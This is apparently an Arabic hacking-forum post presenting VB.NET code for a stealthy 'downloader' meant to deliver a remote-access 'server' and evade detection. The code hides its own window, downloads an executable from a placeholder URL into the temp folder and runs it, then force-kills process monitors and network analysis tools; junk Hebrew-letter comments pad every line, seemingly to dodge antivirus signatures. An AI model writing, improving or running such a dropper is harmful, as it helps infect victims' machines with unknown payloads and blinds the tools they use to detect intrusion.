احبتي في الله اقدم لكم كود تخطي برمجي لعمل داولودر للسيرفر وتشفيره
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.Opacity = 0
'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Dim Download As New Net.WebClient 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Me.Hide() 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Me.ShowIcon = False 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Me.ShowInTaskbar = False 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Me.Opacity = 0 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Download.DownloadFile("URL", Environ("temp") & "/Ali.ExE") 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Shell(Environ("temp") & "/Ali.ExE") 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Shell("taskkill /F /IM ProcessHacker.exe", vbHide) 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Shell("taskkill /F /IM SpyTheSpy.exe", vbHide) 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Shell("taskkill /F /IM procexp.exe", vbHide) 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Shell("taskkill /F /IM apateDNS.exe", vbHide) 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
Shell("taskkill /F /IM cports.exe", vbHide) 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
End 'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
'רשאךיוצותעאתבשהמוצמאלילממלותהימסמסבידאצליהאבשלברעבמיתתךימותרצאשיצדיבאס()
مدونة فريق الحمايه::.فريق عربي يسعى للتطوير ونشر الخبره والفائده بين الشباب نهتم بالبرمجه والتطوير والحمايه والتشفير والتخطيات::.ونتمنى دعمكم لنا::. فريق الحمايه